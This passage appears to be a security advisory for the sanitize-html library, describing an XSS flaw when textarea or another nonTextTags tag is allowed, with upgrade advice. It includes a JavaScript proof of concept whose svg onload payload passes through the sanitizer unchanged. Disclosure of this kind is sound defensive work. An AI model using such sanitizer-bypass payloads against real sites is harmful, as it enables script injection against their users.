to version 1.11.4 or later.
sanitize-html
is a library for scrubbing html input of malicious values.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) attacks. If at least one nonTextTags
tag is allowed, a malicious user may potentially conduct an XSS attack.
PoC:
var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=prompt
xs
></textarea>!'; var clean = sanitizeHtml(dirty, { allowedTags: [ 'textarea' ] });console.log(clean);
// !<textarea></textarea><svg/onload=prompt
xs
></textarea>!
